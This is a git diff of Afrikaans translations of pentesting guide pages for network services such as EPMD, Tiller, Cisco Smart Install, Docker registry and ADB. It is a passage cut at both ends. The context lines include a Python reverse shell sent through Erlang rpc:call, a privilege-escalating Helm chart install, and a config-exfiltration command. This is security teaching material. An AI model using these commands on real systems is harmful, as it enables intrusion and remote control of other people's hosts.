**kompatible kompilator** geïnstalleer hê om die gestuurde kode te verwerk. +**Distcc** is 'n hulpmiddel wat die **kompilasieproses** verbeter deur die **onbenutte verwerkingskrag** van ander rekenaars in die netwerk te benut. Wanneer **distcc** op 'n masjien opgestel is, is hierdie masjien in staat om sy **kompilasietake** na 'n ander stelsel te versprei. Hierdie ontvangerstelsel moet die **distccd daemon** draai en moet 'n **kompatible kompileerder** geïnstalleer hê om die gestuurde kode te verwerk. **Standaard poort:** 3632 ``` diff --git a/src/network-services-pentesting/3702-udp-pentesting-ws-discovery.md b/src/network-services-pentesting/3702-udp-pentesting-ws-discovery.md index 695387e92..0c749c2f9 100644 --- a/src/network-services-pentesting/3702-udp-pentesting-ws-discovery.md +++ b/src/network-services-pentesting/3702-udp-pentesting-ws-discovery.md @@ -4,9 +4,9 @@ ## Basiese Inligting -Die **Web Services Dynamic Discovery Protocol (WS-Discovery)** word geïdentifiseer as 'n protokol wat ontwerp is vir die ontdekking van dienste binne 'n plaaslike netwerk deur middel van multicast. Dit fasiliteer die interaksie tussen **Teiken Dienste** en **Kliënte**. Teiken Dienste is eindpunte wat beskikbaar is vir ontdekking, terwyl Kliënte diegene is wat aktief na hierdie dienste soek. Kommunikasie word gevestig deur middel van **SOAP-navrae oor UDP**, gerig na die multicast adres **239.255.255.250** en UDP-poort **3702**. +Die **Web Services Dynamic Discovery Protocol (WS-Discovery)** word geïdentifiseer as 'n protokol wat ontwerp is vir die ontdekking van dienste binne 'n plaaslike netwerk deur middel van multicast. Dit fasiliteer die interaksie tussen **Teiken Dienste** en **Kliënte**. Teiken Dienste is eindpunte wat beskikbaar is vir ontdekking, terwyl Kliënte diegene is wat aktief na hierdie dienste soek. Kommunikasie word gevestig deur middel van **SOAP-vrae oor UDP**, gerig na die multicast adres **239.255.255.250** en UDP-poort **3702**. -Wanneer 'n Teiken Diens by 'n netwerk aansluit, kondig dit sy teenwoordigheid aan deur 'n **multicast Hello** te broadcast. Dit bly oop om **multicast Probes** van Kliënte te ontvang wat op soek is na dienste volgens tipe, 'n identifiseerder wat uniek is aan die eindpunt (bv. **NetworkVideoTransmitter** vir 'n IP-kamera). In reaksie op 'n ooreenstemmende Probe, kan 'n Teiken Diens 'n **unicast Probe Match** stuur. Op soortgelyke wyse kan 'n Teiken Diens 'n **multicast Resolve** ontvang wat daarop gemik is om 'n diens volgens naam te identifiseer, waaraan dit kan antwoordgee met 'n **unicast Resolve Match** as dit die beoogde teiken is. In die geval van verlaat van die netwerk, probeer 'n Teiken Diens om 'n **multicast Bye** te broadcast, wat sy vertrek aandui. +Wanneer 'n Teiken Dienst by 'n netwerk aansluit, kondig dit sy teenwoordigheid aan deur 'n **multicast Hello** te broadcast. Dit bly oop om **multicast Probes** van Kliënte te ontvang wat op soek is na dienste volgens tipe, 'n identifiseerder wat uniek is aan die eindpunt (bv. **NetworkVideoTransmitter** vir 'n IP-kamera). In reaksie op 'n ooreenstemmende Probe, kan 'n Teiken Dienst 'n **unicast Probe Match** stuur. Op soortgelyke wyse kan 'n Teiken Dienst 'n **multicast Resolve** ontvang wat daarop gemik is om 'n diens volgens naam te identifiseer, waaraan dit kan antwoordgee met 'n **unicast Resolve Match** as dit die beoogde teiken is. In die geval van verlaat van die netwerk, probeer 'n Teiken Dienst om 'n **multicast Bye** te broadcast, wat sy vertrek aandui. ![](<../images/image (689).png>) diff --git a/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md b/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md index af451eab6..24bf7ffce 100644 --- a/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md +++ b/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md @@ -69,7 +69,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE (anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]). ``` Voorbeeld geneem van [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\ -Jy kan **Canape HTB masjien gebruik om** **te oefen** hoe om **hierdie kwesbaarheid te benut**. +Jy kan **Canape HTB masjien gebruik om** **te oefen** hoe om **hierdie kwesbaarheid te** **ontgin**. ## Metasploit ```bash diff --git a/src/network-services-pentesting/44134-pentesting-tiller-helm.md b/src/network-services-pentesting/44134-pentesting-tiller-helm.md index a82e4f555..e2376e8c4 100644 --- a/src/network-services-pentesting/44134-pentesting-tiller-helm.md +++ b/src/network-services-pentesting/44134-pentesting-tiller-helm.md @@ -2,7 +2,7 @@ # Basiese Inligting -Helm is die **pakketbestuurder** vir Kubernetes. Dit stel jou in staat om YAML-lêers te pak en dit in openbare en private repositories te versprei. Hierdie pakkette word **Helm Charts** genoem. **Tiller** is die **diens** wat standaard op poort 44134 loop en die diens bied. +Helm is die **pakketbestuurder** vir Kubernetes. Dit stel jou in staat om YAML-lêers te verpakkie en dit in openbare en private repositories te versprei. Hierdie pakkette word **Helm Charts** genoem. **Tiller** is die **diens** wat standaard op poort 44134 loop en die diens bied. **Standaard poort:** 44134 ``` @@ -52,6 +52,6 @@ git clone https://github.com/Ruil1n/helm-tiller-pwn helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn /pwnchart ``` -In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) het u die **verklaring van die aanval**, maar basies, as u die lêers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) en [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) binne _helm-tiller-pwn/pwnchart/templates/_ lees, kan u sien hoe **alle die voorregte aan die standaardtoken gegee word**. +In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) het jy die **verklaring van die aanval**, maar basies, as jy die lêers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) en [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) binne _helm-tiller-pwn/pwnchart/templates/_ lees, kan jy sien hoe **alle die voorregte aan die standaardtoken gegee word**. {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/47808-udp-bacnet.md b/src/network-services-pentesting/47808-udp-bacnet.md index 74acd5ea4..3764cc408 100644 --- a/src/network-services-pentesting/47808-udp-bacnet.md +++ b/src/network-services-pentesting/47808-udp-bacnet.md @@ -2,7 +2,7 @@ # Protokol Inligting -**BACnet** is 'n **kommunikasieprotokol** vir Gebou Automatisering en Beheer (BAC) netwerke wat die **ASHRAE**, **ANSI**, en **ISO 16484-5 standaard** protokol benut. Dit fasiliteer kommunikasie tussen gebou automatisering en beheerstelsels, wat toepassings soos HVAC-beheer, beligtingbeheer, toegangbeheer, en branddetectiestelsels in staat stel om inligting uit te ruil. BACnet verseker interoperabiliteit en laat gekomputeriseerde gebou automatiseringstoestelle toe om te kommunikeer, ongeag die spesifieke dienste wat hulle bied. +**BACnet** is 'n **kommunikasieprotokol** vir Gebou Automatisering en Beheer (BAC) netwerke wat die **ASHRAE**, **ANSI**, en **ISO 16484-5 standaard** protokol benut. Dit fasiliteer kommunikasie tussen gebou automatisering en beheerstelsels, wat toepassings soos HVAC-beheer, beligtingbeheer, toegangbeheer, en branddetectiestelsels in staat stel om inligting uit te ruil. BACnet verseker interoperabiliteit en laat gekomputeriseerde gebou automatisering toestelle toe om te kommunikeer, ongeag die spesifieke dienste wat hulle bied. **Standaard poort:** 47808 ```text diff --git a/src/network-services-pentesting/4786-cisco-smart-install.md b/src/network-services-pentesting/4786-cisco-smart-install.md index 8d268b045..1585f101f 100644 --- a/src/network-services-pentesting/4786-cisco-smart-install.md +++ b/src/network-services-pentesting/4786-cisco-smart-install.md @@ -5,7 +5,7 @@ ## Basiese Inligting -**Cisco Smart Install** is 'n Cisco ontwerp om die aanvanklike konfigurasie en laai van 'n bedryfstelselbeeld vir nuwe Cisco hardeware te outomatiseer. **Standaard is Cisco Smart Install aktief op Cisco hardeware en gebruik die vervoervlak protokol, TCP, met poortnommer 4786.** +**Cisco Smart Install** is 'n Cisco ontwerp om die aanvanklike konfigurasie en laai van 'n bedryfstelselbeeld vir nuwe Cisco hardeware te outomatiseer. **Standaard is Cisco Smart Install aktief op Cisco hardeware en gebruik die vervoervlakprotokol, TCP, met poortnommer 4786.** **Standaard poort:** 4786 ``` @@ -16,17 +16,17 @@ PORT STATE SERVICE **In 2018 is 'n kritieke kwesbaarheid, CVE-2018–0171, in hierdie protokol gevind. Die bedreigingsvlak is 9.8 op die CVSS-skaal.** -**'n Spesiaal saamgestelde pakket wat na die TCP/4786-poort gestuur word, waar Cisco Slim Install aktief is, veroorsaak 'n buffer oorgang, wat 'n aanvaller in staat stel om:** +**'n Spesiaal saamgestelde pakket wat na die TCP/4786-poort gestuur word, waar Cisco Slim Install aktief is, veroorsaak 'n buffer overflow, wat 'n aanvaller in staat stel om:** - die toestel met geweld te herbegin - RCE aan te roep - konfigurasies van netwerktoerusting te steel. -**Die** [**SIET**](https://github.com/frostbits-security/SIET) **(Slim Install Exploitasiemiddel)** is ontwikkel om hierdie kwesbaarheid te benut, dit stel jou in staat om Cisco Slim Install te misbruik. In hierdie artikel sal ek jou wys hoe jy 'n wettige netwerkhardeware konfigurasiefilenaam kan lees. Konfigurasie-exfiltrasie kan waardevol wees vir 'n pentester omdat dit sal leer oor die unieke kenmerke van die netwerk. En dit sal die lewe vergemaklik en nuwe aanvalsvectors toelaat. +**Die** [**SIET**](https://github.com/frostbits-security/SIET) **(Slim Install Exploitasiemiddel)** is ontwikkel om hierdie kwesbaarheid te benut, dit stel jou in staat om Cisco Slim Install te misbruik. In hierdie artikel sal ek jou wys hoe jy 'n wettige netwerkhardeware konfigurasiefilenaam kan lees. Konfigurasie-exfiltrasie kan waardevol wees vir 'n pentester omdat dit sal leer oor die unieke kenmerke van die netwerk. En dit sal die lewe vergemaklik en nuwe vektore vir 'n aanval vind. -**Die teiken toestel sal 'n “lewende” Cisco Catalyst 2960 skakel wees. Virtuele beelde het nie Cisco Slim Install nie, so jy kan slegs op die werklike hardeware oefen.** +**Die teiken toestel sal 'n “lewende” Cisco Catalyst 2960-schakelaar wees. Virtuele beelde het nie Cisco Slim Install nie, so jy kan slegs op die werklike hardeware oefen.** -Die adres van die teiken skakel is **10.10.100.10 en CSI is aktief.** Laai SIET en begin die aanval. **Die -g argument** beteken exfiltrasie van die konfigurasie vanaf die toestel, **die -i argument** stel jou in staat om die IP-adres van die kwesbare teiken in te stel. +Die adres van die teiken-schakelaar is **10.10.100.10 en CSI is aktief.** Laai SIET en begin die aanval. **Die -g argument** beteken exfiltrasie van die konfigurasie vanaf die toestel, **die -i argument** stel jou in staat om die IP-adres van die kwesbare teiken in te stel. ``` ~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10 ``` diff --git a/src/network-services-pentesting/4840-pentesting-opc-ua.md b/src/network-services-pentesting/4840-pentesting-opc-ua.md index 162a06143..d48e971ff 100644 --- a/src/network-services-pentesting/4840-pentesting-opc-ua.md +++ b/src/network-services-pentesting/4840-pentesting-opc-ua.md @@ -2,11 +2,12 @@ {{#include ../banners/hacktricks-training.md}} + ## Basiese Inligting **OPC UA**, wat staan vir **Open Platform Communications Unified Access**, is 'n belangrike oopbronprotokol wat in verskeie nywerhede soos vervaardiging, energie, lugvaart en verdediging gebruik word vir data-uitruiling en toerustingbeheer. Dit stel verskillende verskaffers se toerusting in staat om te kommunikeer, veral met PLC's. -Die konfigurasie daarvan stel sterk sekuriteitsmaatreëls in staat, maar dikwels, vir kompatibiliteit met ouer toestelle, word hierdie maatreëls verminder, wat stelsels aan risiko's blootstel. Boonop kan dit moeilik wees om OPC UA-dienste te vind, aangesien netwerkskandeerders hulle moontlik nie sal opspoor as hulle op nie-standaard poorte is nie. +Die konfigurasie daarvan stel sterk sekuriteitsmaatreëls in staat, maar dikwels, vir kompatibiliteit met ouer toestelle, word hierdie maatreëls verminder, wat stelsels aan risiko's blootstel. Boonop kan dit moeilik wees om OPC UA-dienste te vind, aangesien netwerk skandeerders hulle moontlik nie sal opspoor as hulle op nie-standaard poorte is nie. **Standaard poort:** 4840 ```text @@ -15,7 +16,7 @@ PORT STATE SERVICE REASON ``` ## Pentesting OPC UA -Om sekuriteitskwessies in OPC UA bedieners te onthul, skandeer dit met [OpalOPC](https://opalopc.com/). +Om sekuriteitskwessies in OPC UA-bedieners te onthul, skandeer dit met [OpalOPC](https://opalopc.com/). ```bash opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port ``` diff --git a/src/network-services-pentesting/49-pentesting-tacacs+.md b/src/network-services-pentesting/49-pentesting-tacacs+.md index 26deab79b..cafa8fb4c 100644 --- a/src/network-services-pentesting/49-pentesting-tacacs+.md +++ b/src/network-services-pentesting/49-pentesting-tacacs+.md @@ -4,7 +4,7 @@ ## Basiese Inligting -Die **Terminal Access Controller Access Control System (TACACS)** protokol word gebruik om gebruikers wat probeer om toegang tot routers of Network Access Servers (NAS) te verkry, sentraal te valideer. Sy opgegradeerde weergawe, **TACACS+**, skei die dienste in outentisering, magtiging en rekeningkunde (AAA). +Die **Terminal Access Controller Access Control System (TACACS)** protokol word gebruik om gebruikers wat probeer om toegang tot roeters of Network Access Servers (NAS) te verkry, sentraal te valideer. Die opgegradeerde weergawe, **TACACS+**, skei die dienste in outentisering, magtiging en rekeningkunde (AAA). ``` PORT STATE SERVICE 49/tcp open tacacs diff --git a/src/network-services-pentesting/5000-pentesting-docker-registry.md b/src/network-services-pentesting/5000-pentesting-docker-registry.md index 02b6abfcb..502ebb3c9 100644 --- a/src/network-services-pentesting/5000-pentesting-docker-registry.md +++ b/src/network-services-pentesting/5000-pentesting-docker-registry.md @@ -23,11 +23,11 @@ PORT STATE SERVICE VERSION ``` ## Ontdekking -Die maklikste manier om hierdie diens te ontdek wat loop, is om dit op die uitvoer van nmap te kry. In elk geval, let daarop dat dit 'n HTTP-gebaseerde diens is en dit agter HTTP-proxies kan wees en nmap dit nie sal opspoor.\ +Die maklikste manier om hierdie diens wat loop te ontdek, is om dit op die uitvoer van nmap te kry. In elk geval, let daarop dat dit 'n HTTP-gebaseerde diens is en dit agter HTTP-proxies kan wees en nmap dit nie sal opspoor.\ Sommige vingerafdrukke: - As jy toegang tot `/` kry, word daar niks in die antwoord teruggestuur nie -- As jy toegang tot `/v2/` kry, word dan `{}` teruggestuur +- As jy toegang tot `/v2/` kry, word `{}` teruggestuur - As jy toegang tot `/v2/_catalog` kry, kan jy verkry: - `{"repositories":["alpine","ubuntu"]}` - `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}` @@ -57,8 +57,8 @@ curl -k https://192.25.197.3:5000/v2/_catalog #If no authentication required {"repositories":["alpine","ubuntu"]} ``` -As die Docker Registry verifikasie vereis, kan jy [**probeer om dit te brute-force met hierdie**](../generic-hacking/brute-force.md#docker-registry).\ -**As jy geldige akrediteerbesonderhede vind, sal jy dit moet gebruik** om die registry te enumerate, in `curl` kan jy dit soos volg gebruik: +As die Docker Registry verifikasie vereis, kan jy[ **dit probeer om dit te brute force**](../generic-hacking/brute-force.md#docker-registry).\ +**As jy geldige akrediteerbesonderhede vind, sal jy dit moet gebruik** om die registry te evalueer, in `curl` kan jy dit soos volg gebruik: ```bash curl -k -u username:password https://10.10.10.10:5000/v2/_catalog ``` @@ -140,7 +140,7 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all ``` ### Opsporing met curl -Sodra jy **toegang tot die docker registry verkry het**, hier is 'n paar opdragte wat jy kan gebruik om dit te spoor: +Sodra jy **toegang tot die docker registry verkry het**, is hier 'n paar opdragte wat jy kan gebruik om dit te opspoor: ```bash #List repositories curl -s http://10.10.10.10:5000/v2/_catalog @@ -204,7 +204,7 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory ``` > [!WARNING] -> Let daarop dat wanneer jy die blobs lêers aflaai en dekomprimeer, sal lêers en vouers in die huidige gids verskyn. **As jy al die blobs aflaai en hulle in dieselfde vouer dekomprimeer, sal hulle waardes van die voorheen gedecomprimeerde blobs oorskryf**, so wees versigtig. Dit mag interessant wees om elke blob binne 'n ander vouer te dekomprimeer om die presiese inhoud van elke blob te ondersoek. +> Let op dat wanneer jy die blobs lêers aflaai en dekomprimeer, sal lêers en vouers in die huidige gids verskyn. **As jy al die blobs aflaai en hulle in dieselfde vouer dekomprimeer, sal hulle waardes van die voorheen gedecomprimeerde blobs oorskryf**, so wees versigtig. Dit mag interessant wees om elke blob binne 'n ander vouer te dekomprimeer om die presiese inhoud van elke blob te ondersoek. ### Enumerasie met behulp van docker ```bash @@ -248,7 +248,7 @@ docker push registry:5000/wordpress #Push it ### Backdooring SSH server image Neem aan dat jy 'n Docker Registry met 'n SSH beeld gevind het en jy wil dit backdoor.\ -**Laai af** die beeld en **hardloop** dit: +**Laai af** die beeld en **voer** dit uit: ```bash docker pull 10.10.10.10:5000/sshd-docker-cli docker run -d 10.10.10.10:5000/sshd-docker-cli diff --git a/src/network-services-pentesting/512-pentesting-rexec.md b/src/network-services-pentesting/512-pentesting-rexec.md index 689dd1e00..2b9333de4 100644 --- a/src/network-services-pentesting/512-pentesting-rexec.md +++ b/src/network-services-pentesting/512-pentesting-rexec.md @@ -5,7 +5,7 @@ ## Basiese Inligting -Dit is 'n diens wat **jou toelaat om 'n opdrag binne 'n gasheer uit te voer** as jy geldige **bewyse** (gebruikersnaam en wagwoord) ken. +Dit is 'n diens wat **jou in staat stel om 'n opdrag binne 'n gasheer uit te voer** as jy geldige **bewyse** (gebruikersnaam en wagwoord) ken. **Standaard Poort:** 512 ``` diff --git a/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md b/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md index 506fc67db..4308c7262 100644 --- a/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md +++ b/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md @@ -6,7 +6,7 @@ In die 1980's is die **Line Printer Daemon (LPD) protokol** ontwikkel in Berkele ### **Gereedskap vir Interaksie met LPD Drukkers** -[**PRET**](https://github.com/RUB-NDS/PRET) stel twee noodsaaklike gereedskap bekend, `lpdprint` en `lpdtest`, wat 'n eenvoudige metode bied om met LPD-ondersteunde drukkers te kommunikeer. Hierdie gereedskap stel 'n reeks aksies in staat, van die druk van data tot die manipulasie van lêers op die drukker, soos aflaai, oplaai of verwydering: +[**PRET**](https://github.com/RUB-NDS/PRET) stel twee noodsaaklike gereedskap bekend, `lpdprint` en `lpdtest`, wat 'n eenvoudige metode bied om met LPD-ondersteunde drukkers te kommunikeer. Hierdie gereedskap stel 'n reeks aksies in staat, van die druk van data tot die manipulasie van lêers op die drukker, soos aflaai, opgelaai of verwyder: ```python # To print a file to an LPD printer lpdprint.py hostname filename diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index 75f73b5c8..a724d1584 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -4,18 +4,18 @@ ## **Basiese Inligting** -**Multicast DNS (mDNS)** stel **DNS-agtige operasies** in staat binne plaaslike netwerke sonder die behoefte aan 'n tradisionele DNS-bediener. Dit werk op **UDP-poort 5353** en laat toestelle toe om mekaar en hul dienste te ontdek, wat algemeen gesien word in verskeie IoT-toestelle. **DNS-diensontdekking (DNS-SD)**, wat dikwels saam met mDNS gebruik word, help om dienste wat op die netwerk beskikbaar is, te identifiseer deur middel van standaard DNS-vrae. +**Multicast DNS (mDNS)** stel **DNS-agtige operasies** in staat binne plaaslike netwerke sonder die behoefte aan 'n tradisionele DNS-bediener. Dit werk op **UDP-poort 5353** en laat toestelle toe om mekaar en hul dienste te ontdek, wat algemeen gesien word in verskeie IoT-toestelle. **DNS-diensontdekking (DNS-SD)**, wat dikwels saam met mDNS gebruik word, help om dienste wat op die netwerk beskikbaar is, te identifiseer deur standaard DNS-vrae. ``` PORT STATE SERVICE 5353/udp open zeroconf ``` ### **Bedryf van mDNS** -In omgewings sonder 'n standaard DNS-bediener, laat mDNS toestelle toe om domeinnames wat eindig op **.local** is, op te los deur die multicast adres **224.0.0.251** (IPv4) of **FF02::FB** (IPv6) te vra. Belangrike aspekte van mDNS sluit 'n **Tyd-tot-lewe (TTL)** waarde in wat die geldigheid van die rekord aandui en 'n **QU bit** wat onderskei tussen unicast en multicast vrae. Veiligheidsgewys is dit van kardinale belang dat mDNS-implementasies verifieer dat die bronadres van die pakket ooreenstem met die plaaslike subnet. +In omgewings sonder 'n standaard DNS-bediener, laat mDNS toestelle toe om domeinnames wat eindig op **.local** is, op te los deur die multicast adres **224.0.0.251** (IPv4) of **FF02::FB** (IPv6) te vra. Belangrike aspekte van mDNS sluit 'n **Tyd-tot-lewe (TTL)** waarde in wat die geldigheid van rekords aandui en 'n **QU bit** wat onderskei tussen unicast en multicast vrae. Veiligheidsoorweg is dit van kardinale belang dat mDNS-implementasies verifieer dat die bronadres van die pakket ooreenstem met die plaaslike subnet. ### **Funksionering van DNS-SD** -DNS-SD fasiliteer die ontdekking van netwerkdienste deur te vra vir wysers (PTR) wat diens tipes aan hul instansies koppel. Dienste word geïdentifiseer met behulp van 'n **\_\.\_tcp of \_\.\_udp** patroon binne die **.local** domein, wat lei tot die ontdekking van ooreenstemmende **SRV** en **TXT records** wat gedetailleerde diens inligting verskaf. +DNS-SD fasiliteer die ontdekking van netwerkdienste deur te vra vir wysers (PTR) wat diens tipes aan hul instansies koppel. Dienste word geïdentifiseer met behulp van 'n **\_\.\_tcp of \_\.\_udp** patroon binne die **.local** domein, wat lei tot die ontdekking van ooreenstemmende **SRV** en **TXT rekords** wat gedetailleerde diens inligting verskaf. ### **Netwerk Verkenning** @@ -37,7 +37,7 @@ sudo python3 pholus3.py [network interface] -rq -stimeout 10 ### **Benutting van mDNS Probing** -'n Aanvalsvector behels die stuur van vervalste antwoorde na mDNS probes, wat suggereer dat alle potensiële name reeds in gebruik is, en dus nuwe toestelle hindert om 'n unieke naam te kies. Dit kan uitgevoer word met: +'n Aanvalsvector behels die stuur van vervalste antwoorde na mDNS probes, wat voorstel dat alle potensiële name reeds in gebruik is, en dus nuwe toestelle hindert om 'n unieke naam te kies. Dit kan uitgevoer word met: ```bash sudo python pholus.py [network interface] -afre -stimeout 1000 ``` diff --git a/src/network-services-pentesting/554-8554-pentesting-rtsp.md b/src/network-services-pentesting/554-8554-pentesting-rtsp.md index d548f13eb..e2163c50e 100644 --- a/src/network-services-pentesting/554-8554-pentesting-rtsp.md +++ b/src/network-services-pentesting/554-8554-pentesting-rtsp.md @@ -6,9 +6,9 @@ Van [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol): -> Die **Real Time Streaming Protocol** (**RTSP**) is 'n netwerkbeheerprotokol wat ontwerp is vir gebruik in vermaak- en kommunikasiesisteme om streaming media bedieners te beheer. Die protokol word gebruik om media-sessies tussen eindpunte te vestig en te beheer. Kliente van media bedieners gee VHS-styl opdragte, soos speel, opneem en pauze, om werklike tydbeheer van die media wat van die bediener na 'n kliënt (Video On Demand) of van 'n kliënt na die bediener (Stemopname) stroom, te fasiliteer. +> Die **Real Time Streaming Protocol** (**RTSP**) is 'n netwerkbeheerprotokol wat ontwerp is vir gebruik in vermaak- en kommunikasiesisteme om streaming media bedieners te beheer. Die protokol word gebruik om media-sessies tussen eindpunte te vestig en te beheer. Kliente van media bedieners gee VHS-styl opdragte, soos speel, opneem en pauze, om werklike tydbeheer van die media wat van die bediener na 'n kliënt (Video On Demand) of van 'n kliënt na die bediener (Stemopname) stroom te fasiliteer. > -> Die oordrag van streaming data self is nie 'n taak van RTSP nie. Die meeste RTSP bedieners gebruik die Real-time Transport Protocol (RTP) in samewerking met Real-time Control Protocol (RTCP) vir media stroom aflewering. Sommige verskaffers implementeer egter eie vervoerprotokolle. Die RTSP bediener sagteware van RealNetworks, byvoorbeeld, het ook RealNetworks se eie Real Data Transport (RDT) gebruik. +> Die oordrag van streaming data self is nie 'n taak van RTSP nie. Meeste RTSP bedieners gebruik die Real-time Transport Protocol (RTP) in samewerking met Real-time Control Protocol (RTCP) vir media stroom aflewering. Sommige verskaffers implementeer egter eie vervoersprotokolle. Die RTSP bediener sagteware van RealNetworks, byvoorbeeld, het ook RealNetworks se eie Real Data Transport (RDT) gebruik. **Standaard poorte:** 554,8554 ``` @@ -64,10 +64,10 @@ Om te bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https - Begin outomatiese woordeboekaanvalle om hul stroomroete te kry (byvoorbeeld /live.sdp) - Begin outomatiese woordeboekaanvalle om die gebruikersnaam en wagwoord van die kameras te kry - Genereer miniatuurbeelde van hulle om te kyk of die strome geldig is en om 'n vinnige voorskou van hul inhoud te hê -- Probeer om 'n Gstreamer-pyplyn te skep om te kyk of hulle behoorlik geënkodeer is +- Probeer om 'n Gstreamer-pyplyn te skep om te kyk of hulle behoorlik gekodeer is - Druk 'n opsomming van al die inligting wat Cameradar kon kry -## References +## Verwysings - [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol) - [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/) diff --git a/src/network-services-pentesting/5555-android-debug-bridge.md b/src/network-services-pentesting/5555-android-debug-bridge.md index 5a6e7fc05..adf431d8e 100644 --- a/src/network-services-pentesting/5555-android-debug-bridge.md +++ b/src/network-services-pentesting/5555-android-debug-bridge.md @@ -4,9 +4,9 @@ ## Basiese Inligting -Van [die dokumentasie](https://developer.android.com/studio/command-line/adb): +From [the docs](https://developer.android.com/studio/command-line/adb): -**Android Debug Bridge** (adb) is 'n veelsydige opdraglyn hulpmiddel wat jou toelaat om met 'n toestel te kommunikeer. Die adb opdrag fasiliteer 'n verskeidenheid toestel aksies, soos **om apps te installeer en te debug**, en dit bied **toegang tot 'n Unix-skaal** wat jy kan gebruik om 'n verskeidenheid opdragte op 'n toestel uit te voer. +**Android Debug Bridge** (adb) is 'n veelsydige opdraglyn hulpmiddel wat jou toelaat om met 'n toestel te kommunikeer. Die adb-opdrag fasiliteer 'n verskeidenheid toestel aksies, soos i**nstalleer en debugg apps**, en dit bied **toegang tot 'n Unix-skaal** wat jy kan gebruik om 'n verskeidenheid opdragte op 'n toestel uit te voer. **Standaard poort**: 5555. ``` @@ -15,7 +15,7 @@ PORT STATE SERVICE VERSION ``` ## Verbind -As jy die ADB-diens in 'n poort van 'n toestel vind en jy kan daaraan koppel, **kan jy 'n skulp binne die stelsel kry:** +As jy die ADB-diens in 'n poort van 'n toestel vind en jy kan daaraan verbind, **kan jy 'n skulp binne die stelsel kry:** ```bash adb connect 10.10.10.10 adb root # Try to escalate to root diff --git a/src/network-services-pentesting/5601-pentesting-kibana.md b/src/network-services-pentesting/5601-pentesting-kibana.md index 81f7f8563..55e162f48 100644 --- a/src/network-services-pentesting/5601-pentesting-kibana.md +++ b/src/network-services-pentesting/5601-pentesting-kibana.md @@ -6,7 +6,7 @@ Kibana is bekend vir sy vermoë om data binne Elasticsearch te soek en te visual ## Verstaan van Verifikasie -Die proses van verifikasie in Kibana is inherent gekoppel aan die **bewyse wat in Elasticsearch gebruik word**. As Elasticsearch se verifikasie gedeaktiveer is, kan Kibana sonder enige bewese toegang verkry word. Omgekeerd, as Elasticsearch beveilig is met bewese, is dieselfde bewese nodig om toegang tot Kibana te verkry, wat identiese gebruikersregte oor beide platforms handhaaf. Bewese kan in die **/etc/kibana/kibana.yml** lêer gevind word. As hierdie bewese nie betrekking het op die **kibana_system** gebruiker nie, kan dit breër toegangregte bied, aangesien die kibana_system gebruiker se toegang beperk is tot monitering API's en die .kibana indeks. +Die proses van verifikasie in Kibana is inherent gekoppel aan die **bewyse wat in Elasticsearch gebruik word**. As Elasticsearch se verifikasie gedeaktiveer is, kan Kibana sonder enige bewese toegang verkry word. Omgekeerd, as Elasticsearch beveilig is met bewese, is dieselfde bewese nodig om toegang tot Kibana te verkry, wat identiese gebruikersregte oor beide platforms handhaaf. Bewese kan in die **/etc/kibana/kibana.yml** lêer gevind word. As hierdie bewese nie betrekking het op die **kibana_system** gebruiker nie, kan dit breër toegangregte bied, aangesien die toegang van die kibana_system gebruiker beperk is tot monitering API's en die .kibana-indeks. ## Aksies By Toegang diff --git a/src/network-services-pentesting/5671-5672-pentesting-amqp.md b/src/network-services-pentesting/5671-5672-pentesting-amqp.md index 37dd7be1a..a26b8683e 100644 --- a/src/network-services-pentesting/5671-5672-pentesting-amqp.md +++ b/src/network-services-pentesting/5671-5672-pentesting-amqp.md @@ -4,10 +4,10 @@ ## Basiese Inligting -Van [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html): +From 